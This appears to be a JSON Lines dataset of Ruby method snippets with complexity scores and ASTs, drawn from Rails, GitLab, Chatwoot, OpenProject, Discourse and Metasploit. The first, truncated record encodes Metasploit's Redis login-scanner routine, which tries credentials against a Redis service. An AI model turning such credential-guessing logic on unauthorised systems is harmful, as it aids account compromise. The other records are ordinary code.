end","complexity_score":45.45,"ast_json":"{\"type\":\"def\",\"children\":[\"attempt_login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"credential\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"credential\"]},{\"type\":\"lvar\",\"children\":[\"credential\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"INCORRECT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"redis\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"float\",\"children\":[0.4]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@older_redis\"]},null,{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"authenticate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential\"]},\"public\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential\"]},\"private\"]},\"to_s\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@older_redis\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"match\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Proto\"]},\"Redis\"]},\"Base\"]},\"Constants\"]},\"WRONG_ARGUMENTS_FOR_AUTH\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@older_redis\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"authenticate_pre_v6\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential\"]},\"private\"]},\"to_s\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[null,\"validate_login\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proof\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionError\"]},{\"type\":\"const\",\"children\":[null,\"EOFError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeout\"]},\"Error\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"EPIPE\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_options\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNABLE_TO_CONNECT\"]}]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Metasploit\"]},\"Framework\"]},\"LoginScanner\"]},\"Result\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"result_options\"]}]}]}]}","id":"445e4ca4-613d-40c8-9224-5380ef2f5a81"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/date_time_ext_test.rb","start_line":469,"raw_source":"def test_compare_with_float\n    assert_equal 1, DateTime.civil(1970) <=> 2440586.5\n    assert_equal 0, DateTime.civil(1970) <=> 2440587.5\n    assert_equal(-1, DateTime.civil(1970) <=> 2440588.5)\n  end","complexity_score":13.35,"ast_json":"{\"type\":\"def\",\"children\":[\"test_compare_with_float\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[1970]}]},\"<=>\",{\"type\":\"float\",\"children\":[2440586.5]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[1970]}]},\"<=>\",{\"type\":\"float\",\"children\":[2440587.5]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[1970]}]},\"<=>\",{\"type\":\"float\",\"children\":[2440588.5]}]}]}]}]}","id":"b023bddb-a4eb-4410-a461-137595a52d79"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/facebook/send_on_facebook_service.rb","start_line":34,"raw_source":"def deliver_message(delivery_params)\n    result = Facebook::Messenger::Bot.deliver(delivery_params, page_id: channel.page_id)\n    JSON.parse(result)\n  rescue JSON::ParserError\n    Messages::StatusUpdateService.new(message, 'failed', 'Facebook was unable to process this request').perform\n    Rails.logger.error \"Facebook::SendOnFacebookService: Error parsing JSON response from Facebook : Page - #{channel.page_id} : #{result}\"\n    nil\n  rescue Net::OpenTimeout\n    Messages::StatusUpdateService.new(message, 'failed', 'Request timed out, please try again later').perform\n    Rails.logger.error \"Facebook::SendOnFacebookService: Timeout error sending message to Facebook : Page - #{channel.page_id}\"\n    nil\n  end","complexity_score":25.8,"ast_json":"{\"type\":\"def\",\"children\":[\"deliver_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"delivery_params\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Facebook\"]},\"Messenger\"]},\"Bot\"]},\"deliver\",{\"type\":\"lvar\",\"children\":[\"delivery_params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"channel\"]},\"page_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Messages\"]},\"StatusUpdateService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"message\"]},{\"type\":\"str\",\"children\":[\"failed\"]},{\"type\":\"str\",\"children\":[\"Facebook was unable to process this request\"]}]},\"perform\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Facebook::SendOnFacebookService: Error parsing JSON response from Facebook : Page - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"channel\"]},\"page_id\"]}]},{\"type\":\"str\",\"children\":[\" : \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"OpenTimeout\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Messages\"]},\"StatusUpdateService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"message\"]},{\"type\":\"str\",\"children\":[\"failed\"]},{\"type\":\"str\",\"children\":[\"Request timed out, please try again later\"]}]},\"perform\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Facebook::SendOnFacebookService: Timeout error sending message to Facebook : Page - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"channel\"]},\"page_id\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}","id":"6a39bc36-2b7c-497d-8e1c-726e22933742"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/test_runner_test.rb","start_line":19,"raw_source":"def test_run_via_backwards_compatibility\n      require \"minitest/rails_plugin\"\n\n      assert_nothing_raised do\n        Minitest.run_via[:ruby] = true\n      end\n\n      assert Minitest.run_via[:ruby]\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_run_via_backwards_compatibility\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"minitest/rails_plugin\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minitest\"]},\"run_via\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"ruby\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minitest\"]},\"run_via\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ruby\"]}]}]}]}]}","id":"03934741-7042-409f-9882-46565784f383"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/achievements/achievements_finder.rb","start_line":7,"raw_source":"def initialize(namespace, params = {})\n      @namespace = namespace\n      @params = params\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"namespace\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@namespace\",{\"type\":\"lvar\",\"children\":[\"namespace\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"5b9e4f48-330d-4775-bb9a-fc4764acec32"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/commands/server_test.rb","start_line":209,"raw_source":"def test_host\n    with_rails_env \"development\" do\n      options = parse_arguments([])\n      assert_equal \"localhost\", options[:Host]\n    end\n\n    with_rails_env \"production\" do\n      options = parse_arguments([])\n      assert_equal \"0.0.0.0\", options[:Host]\n    end\n\n    with_rails_env \"development\" do\n      args = [\"-b\", \"127.0.0.1\"]\n      options = parse_arguments(args)\n      assert_equal \"127.0.0.1\", options[:Host]\n    end\n  end","complexity_score":22.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_host\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_rails_env\",{\"type\":\"str\",\"children\":[\"development\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[null,\"parse_arguments\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"localhost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"Host\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_rails_env\",{\"type\":\"str\",\"children\":[\"production\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[null,\"parse_arguments\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"0.0.0.0\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"Host\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_rails_env\",{\"type\":\"str\",\"children\":[\"development\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"-b\"]},{\"type\":\"str\",\"children\":[\"127.0.0.1\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[null,\"parse_arguments\",{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"127.0.0.1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"Host\"]}]}]}]}]}]}]}","id":"022db92b-a8c2-4369-8d73-df9b560d8b45"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/project/tree_saver.rb","start_line":34,"raw_source":"def stream_export\n          on_retry = proc do |exception, try, elapsed_time, next_interval|\n            @logger.info(\n              message: \"Project export retry triggered from streaming\",\n              'error.class': exception.class,\n              'error.message': exception.message,\n              try_count: try,\n              elapsed_time_s: elapsed_time,\n              wait_to_retry_s: next_interval,\n              project_name: @project.name,\n              project_id: @project.id\n            )\n          end\n\n          serializer = ImportExport::Json::StreamingSerializer.new(\n            exportable,\n            reader.project_tree,\n            json_writer,\n            exportable_path: \"project\",\n            logger: @logger,\n            current_user: @current_user\n          )\n\n          Retriable.retriable(on: Net::OpenTimeout, on_retry: on_retry) do\n            serializer.execute\n          end\n        end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"stream_export\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"on_retry\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exception\"]},{\"type\":\"arg\",\"children\":[\"try\"]},{\"type\":\"arg\",\"children\":[\"elapsed_time\"]},{\"type\":\"arg\",\"children\":[\"next_interval\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Project export retry triggered from streaming\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error.class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"class\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error.message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"try_count\"]},{\"type\":\"lvar\",\"children\":[\"try\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"elapsed_time_s\"]},{\"type\":\"lvar\",\"children\":[\"elapsed_time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait_to_retry_s\"]},{\"type\":\"lvar\",\"children\":[\"next_interval\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"id\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"serializer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ImportExport\"]},\"Json\"]},\"StreamingSerializer\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"exportable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reader\"]},\"project_tree\"]},{\"type\":\"send\",\"children\":[null,\"json_writer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exportable_path\"]},{\"type\":\"str\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"logger\"]},{\"type\":\"ivar\",\"children\":[\"@logger\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"ivar\",\"children\":[\"@current_user\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Retriable\"]},\"retriable\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"OpenTimeout\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_retry\"]},{\"type\":\"lvar\",\"children\":[\"on_retry\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"serializer\"]},\"execute\"]}]}]}]}","id":"06bfb5af-dda3-46e3-9b79-62fa042d1cc4"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/journey/gtg/transition_table_test.rb","start_line":115,"raw_source":"def assert_match_route(simulator, path)\n            assert simulator.memos(path), \"Simulator should match #{path}.\"\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_match_route\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"simulator\"]},{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"simulator\"]},\"memos\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Simulator should match \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}","id":"91c0788b-3114-4003-a56a-4ad10c5cde61"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/update_query_from_params_service.rb","start_line":85,"raw_source":"def apply_filters(params)\n    return unless params[:filters]\n\n    query.filters = []\n\n    params[:filters].each do |filter|\n      query.add_filter(filter[:field], filter[:operator], filter[:values])\n    end\n  end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_filters\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filters\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"filters=\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filters\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"add_filter\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"operator\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"values\"]}]}]}]}]}]}","id":"8a610f32-02f5-408f-818e-847cf7fd2ed3"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/hash_with_indifferent_access_test.rb","start_line":281,"raw_source":"def test_update_with_to_hash_conversion\n    hash = HashWithIndifferentAccess.new\n    hash.update HashByConversion.new(a: 1)\n    assert_equal 1, hash[\"a\"]\n  end","complexity_score":7.05,"ast_json":"{\"type\":\"def\",\"children\":[\"test_update_with_to_hash_conversion\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HashWithIndifferentAccess\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"update\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HashByConversion\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"a\"]}]}]}]}]}","id":"5ca20628-afde-4416-a8be-8407072fc9ca"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/amqp/error.rb","start_line":8,"raw_source":"def initialize(msg='Invalid AMQP frame data was received and could not be parsed.')\n      super(msg)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"msg\",{\"type\":\"str\",\"children\":[\"Invalid AMQP frame data was received and could not be parsed.\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}","id":"f82af25c-6cb3-4b75-ac0b-799d0521f5ff"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/definition/decorator/test_custom_method_proc.rb","start_line":50,"raw_source":"def test_generate_returns_error_if_missing_name\n    entity = Holidays::Definition::Entity::CustomMethod.new(\n      arguments: [\"year\", \"month\"],\n      source: \"Date.civil(year, month, 1)\"\n    )\n\n    assert_raises ArgumentError do\n      @decorator.call(entity)\n    end\n\n    entity = Holidays::Definition::Entity::CustomMethod.new(\n      name: \"\",\n      arguments: [\"year\", \"month\"],\n      source: \"Date.civil(year, month, 1)\"\n    )\n\n    assert_raises ArgumentError do\n      @decorator.call(entity)\n    end\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_generate_returns_error_if_missing_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"entity\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"Definition\"]},\"Entity\"]},\"CustomMethod\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"year\"]},{\"type\":\"str\",\"children\":[\"month\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"str\",\"children\":[\"Date.civil(year, month, 1)\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@decorator\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"entity\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"entity\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"Definition\"]},\"Entity\"]},\"CustomMethod\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"year\"]},{\"type\":\"str\",\"children\":[\"month\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"str\",\"children\":[\"Date.civil(year, month, 1)\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@decorator\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"entity\"]}]}]}]}]}","id":"0c7bc671-85a9-4eed-83a1-6f2a42ca2426"}
